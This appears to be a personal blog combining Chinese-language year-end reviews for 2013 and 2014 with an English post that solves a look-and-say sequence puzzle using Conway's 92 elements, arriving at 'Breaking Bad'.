** Mac/iOS **

  • Swift语言入门
  • AFNetworking框架
  • ShanbayWords.app Demo
  • SwiftWeather.app Demo
  • iOS Frameworks概览
  • cocoapods管理类库
  • Html5 web离线app

** 读书 **

  • 《开源世界旅行手册》
  • Dive into Python3
  • Getting started with OAuth 2.0
  • Getting Real
  • 《黑客与画家》
  • 《算法概论》(* Algorithms *,PDV)
  • 《一个陌生女人的来信》
  • 《饥饿游戏》(I, II,III)
  • ……

** 设备 **

  • 2014年新入4台设备:(略)。

** 生活 **

  • 六月初去了北戴河,然后是泰山,七月嵩山,恒山和九月西安、华山。
  • Color Run
  • 庆幸只发烧了两天,继续保持。

以上就像列家常一样把2014年能记得的东西都写了个遍,那么问题来了,挖掘机…不:

  1. 很多事情不能及时记录:所有的事情更像是五月份之后做的,五月之前的基本没记住。
  2. 时间花销记录不清楚:总感觉事情多,但是却不知道时间用到哪边去了。
  3. 看的书太少:没有2013年多,成系统的书少,非技术书类少,2014年主要倾向于开发文档和碎片化的文章,对知识和认识的系统化贡献少。

因此2015年在这写方面确实要改善和加强。故制定2015年的主要目标如下(比较宽的目标,无先后,要细分):

  1. 规划:

    • 每周有小结,三月一次书面记录和总结
    • 日常时间花销记录(e.g. RescueTime)
    • 学会记账
    • 静坐和冥想(谁用谁知道!)
    • 读书以及读书笔记,锻炼 -> 100日行动
  2. 学习:

    • Python: 常见标准库的了解和重点学习
    • Swift: GUI基本设计,Cocoa Touch layer基本
    • 网络基础
    • 算法和数据结构:基本算法和数据结构的理解和掌握
    • 数学知识的回顾和加强
    • 英语加强,托福
  3. 杂项

    • 继续未完成的旅行:衡山,以及青海。

2015年想来事情也是比较多的,加油!

Wait, wait! 虽然2015年还有15天到来,但是可以做的事情还是很多,好好想想,and期待惊喜的发生!

P.S. 明年总结的时候这个也会是比较二的一篇,除非我没有进步!

2013年的总结:年度总结 - 过去的2013年。突然觉得这个好矫情啊!!

年度总结 - 过去的2013年

写在2013年到2014年还有不到一个月的时候, 对我第一年工作的状态有一个简单的描述, 每年都要给自己写一个年终总结。

  • 选择了和有共同目标的团队一起调研,奋斗的感觉真好。
  • 选择了请假写论文,这样我可以学霸一次。
  • 选择了毕业向喜欢的女生表白,不想彼此错过,虽然很短暂。
  • 选择了毕业工作,放弃保研,不去考公务员,我不后悔自己的选择,这会是一次milestone。
  • 选择了在公司附近租房,虽然有些贵,但是不用挤三小时地铁。
  • 选择了扇贝,收获了一种学习习惯。
  • 选择了写博客,建个人博客Daozhang.info,写BUCTML网站(inBuilding),虽然还在构建中。
  • 选择了贡献开源项目@github,因为我开始讨厌封闭的W系统。
  • 现在每天都要看几页书,虽然少,但积累的力量很恐怖,不看不爽说。
  • 我喜欢吃巧克力,而且是黑巧克力。
  • 选择了学轮滑,耍蝴蝶刀,因为我喜欢。
  • 选择了给自己一个KeepStudying梦,我会为之而努力!多谢老姐的泼热水支持。
  • 感谢一路相伴的大学童鞋,四年的感觉真好,重逢必有时!
  • 工作团队很喜欢,哈哈!

  • 因为生病,错过了班级的毕业旅行,再也没有了。
  • 今年没有去宁波,只能等到明年了,我不是拖延症。
  • Facebook, Twitter, G+, QQ, Wechat…分散了我的精力,有社交依赖了。
  • 没能把Google Glass的购买码送出去,人品。
  • 我不想扯到关于买房买车的问题。

One problem at Haidian Book City

Today, I just came by Haidian Book City as usual at Haidian dist in Beijing. and I found the problem hung on the wall nearby. It is very interesting and I want to share it.

0x00 Problem

Here is one picture of it.

27-problem_at_haidian_book_city

A translation of that:

Solve this problem, then it’s your domain: {3, 13, 1113, 3113,…, the 8th number}.angelcrunch.com
(the QR code leads to the below link) www.angelcrunch.com/jiemi

Once you finish it, you will get the second as below:

Guess a television series by the following numbers, and you will get an interview. 3113112211322112 / 311311

0x01 Solution

Yes, as you may guess, it is one look-and-say sequence(sequence A006715 in OEIS.

In the sewuence, each member is genrated from the previous menber by “reading” off the digits in it, counting rhe number of digits in groups of the same digit. For example:

  • 3 is reading off as “one 3” or 13.
  • 13 is reading off as “one 1 one 3” or 1113.
  • 1113 is reading off as “three 1s, then one 3” or 3113.
  • and so on.

If we start with any digit d from 0 to 9 then d will remain indefinitely as the last digit of the sequence. For d different from 1, the sequence starts as follows:

d, 1d, 111d, 311d, 13211d, 111312211d, 31131122211d, …

As example in the following table.

d Sloane sequence
1 A005150 1, 11, 21, 1211, 111221, 312211, 13112221, 1113213211, ...
2 A006751 2, 12, 1112, 3112, 132112, 1113122112, 311311222112, ...
3 A006715 3, 13, 1113, 3113, 132113, 1113122113, 311311222113, ...

Here, d equals 3.

So the first answer is 13211321322113.

For the second one, you need to know more about the sequence. John Conway studied this sequence and found that the 8th member and every member after it in the sequence is made up of one or more of 92 “basic” non-interacting subsequences. The 92 basic subsequence shows in the following table(from here.

The fouth column in the table says what other subsequences the given subsequence evolves into. He also show that the number of the digits in each member of the sequence grows a constant from one member to the next. If Ln is the number of the digits in the nth member in the sequence, then Ln+1/Ln to a limitation when n to infinity. It is 1.303577269… , which we call it as Conway Constant.

No. Subsequence Length Evolves Into
1 1112 4 (63)
2 1112133 7 (64)(62)
3 111213322112 12 (65)
4 111213322113 12 (66)
5 1113 4 (68)
6 11131 5 (69)
7 111311222112 12 (84)(55)
8 111312 6 (70)
9 11131221 8 (71)
10 1113122112 10 (76)
11 1113122113 10 (77)
12 11131221131112 14 (82)
13 111312211312 12 (78)
14 11131221131211 14 (79)
15 111312211312113211 18 (80)
16 111312211312113221133211322112211213322112 42 (81)(29)(91)
17 111312211312113221133211322112211213322113 42 (81)(29)(90)
18 11131221131211322113322112 26 (81)(30)
19 11131221133112 14 (75)(29)(92)
20 1113122113322113111221131221 28 (75)(32)
21 11131221222112 14 (72)
22 111312212221121123222112 24 (73)
23 111312212221121123222113 24 (74)
24 11132 5 (83)
25 1113222 7 (86)
26 1113222112 10 (87)
27 1113222113 10 (88)
28 11133112 8 (89)(92)
29 12 2 (1)
30 123222112 9 (3)
31 123222113 9 (4)
32 12322211331222113112211 23 (2)(61)(29)(85)
33 13 2 (5)
34 131112 6 (28)
35 13112221133211322112211213322112 32 (24)(33)(61)(29)(91)
36 13112221133211322112211213322113 32 (24)(33)(61)(29)(90)
37 13122112 8 (7)
38 132 3 (8)
39 13211 5 (9)
40 132112 6 (10)
41 1321122112 10 (21)
42 132112211213322112 18 (22)
43 132112211213322113 18 (23)
44 132113 6 (11)
45 1321131112 10 (19)
46 13211312 8 (12)
47 1321132 7 (13)
48 13211321 8 (14)
49 132113212221 12 (15)
50 13211321222113222112 20 (18)
51 1321132122211322212221121123222112 34 (16)
52 1321132122211322212221121123222113 34 (17)
53 13211322211312113211 20 (20)
54 1321133112 10 (6)(61)(29)(92)
55 1322112 7 (26)
56 1322113 7 (27)
57 13221133112 11 (25)(29)(92)
58 1322113312211 13 (25)(29)(67)
59 132211331222113112211 21 (25)(29)(85)
60 13221133122211332 17 (25)(29)(68)(61)(29)(89)
61 22 2 (61)
62 3 1 (33)
63 3112 4 (40)
64 3112112 7 (41)
65 31121123222112 14 (42)
66 31121123222113 14 (43)
67 3112221 7 (38)(39)
68 3113 4 (44)
69 311311 6 (48)
70 31131112 8 (54)
71 3113112211 10 (49)
72 3113112211322112 16 (50)
73 3113112211322112211213322112 28 (51)
74 3113112211322112211213322113 28 (52)
75 311311222 9 (47)(38)
76 311311222112 12 (47)(55)
77 311311222113 12 (47)(56)
78 3113112221131112 16 (47)(57)
79 311311222113111221 18 (47)(58)
80 311311222113111221131221 24 (47)(59)
81 31131122211311122113222 23 (47)(60)
82 3113112221133112 16 (47)(33)(61)(29)(92)
83 311312 6 (45)
84 31132 5 (46)
85 311322113212221 15 (53)
86 311332 6 (38)(29)(89)
87 3113322112 10 (38)(30)
88 3113322113 10 (38)(31)
89 312 3 (34)
90 312211322212221121123222113 27 (36)
91 312211322212221121123222122 27 (35)
92 32112 5 (37)

Those 92 subsequence is so basic that is constructs every member in the look-and-say sequence. Just like 92 elements. Here gives the periodic table of atoms associated with the look-and-say sequence as named by Conway(1987). As we can see, 3113112211322112 links to Br, and 311311 links to Ba.

Breaking Bad. That is the answer.

0x02 More

That is perfect from the begining to the end. Many thanks to the problem maker, and the screenwriters, also every excellent actors in Breaking Bad.

Hello World!

Hello from qiwihui.